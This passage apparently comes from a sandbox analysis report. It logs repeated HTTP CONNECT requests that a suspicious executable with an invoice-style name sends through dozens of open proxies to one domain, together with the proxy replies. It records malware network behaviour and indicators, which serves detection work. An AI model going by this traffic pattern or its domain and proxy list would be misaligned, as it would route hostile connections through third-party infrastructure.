Mar 11, 2024 16:40:45.410690069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:09.528984070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1874	192.168.2.10	55262	206.220.175.2	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.103266954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1875	192.168.2.10	53240	167.86.69.142	36394	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.103437901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1876	192.168.2.10	53194	95.71.125.50	60867	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.106329918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1877	192.168.2.10	53250	103.180.198.162	8181	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.106329918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.202903032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.207906961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.229815006 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1878	192.168.2.10	55261	176.113.157.149	37417	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.110137939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1879	192.168.2.10	55265	134.209.29.120	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.110168934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1880	192.168.2.10	55263	125.122.26.242	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.110579967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1881	192.168.2.10	55255	72.206.181.123	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.110579967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1882	192.168.2.10	53404	172.105.52.78	31106	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.112873077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1883	192.168.2.10	53386	162.144.121.232	19404	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.115704060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.285836935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.286087036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.286279917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:21.285677910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:33.285809994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:45.285725117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:09.285598993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:57.316792965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1884	192.168.2.10	55230	199.187.210.54	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.122944117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1885	192.168.2.10	53487	52.151.210.204	9002	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.152512074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1886	192.168.2.10	53617	207.244.241.165	53718	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.197984934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.285922050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.286087036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.286454916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1887	192.168.2.10	55250	68.71.249.153	48606	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.199913025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1888	192.168.2.10	55218	192.252.215.5	16137	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.229527950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1889	192.168.2.10	55273	146.19.106.217	12334	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.331341028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1890	192.168.2.10	55269	208.102.51.6	58208	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.335454941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1891	192.168.2.10	55270	85.239.121.168	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.373645067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1892	192.168.2.10	55282	184.170.245.148	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.404721975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1893	192.168.2.10	55280	138.36.150.26	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.498313904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1894	192.168.2.10	55284	115.146.225.137	10046	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.633411884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1895	192.168.2.10	53639	45.81.232.17	27855	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.644932032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.785885096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.786156893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.785835981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:21.785722017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1896	192.168.2.10	53646	103.180.198.130	8181	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.645406961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.546710014 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1897	192.168.2.10	55290	107.180.88.173	59820	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.645780087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1898	192.168.2.10	53678	146.59.18.246	15860	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.654861927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1899	192.168.2.10	53783	164.92.86.113	63358	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.714972019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.861905098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.904006958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.910798073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:21.910712004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:45.910693884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:33.913481951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1900	192.168.2.10	53703	115.144.17.53	12826	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.715384007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.856323957 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1901	192.168.2.10	53833	138.2.73.157	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.840193987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1902	192.168.2.10	55292	58.20.248.139	9002	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.900886059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.305603027 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:39:57 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 11, 2024 16:40:01.312638998 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:39:57 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1903	192.168.2.10	55297	146.19.106.217	12334	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:57.903143883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
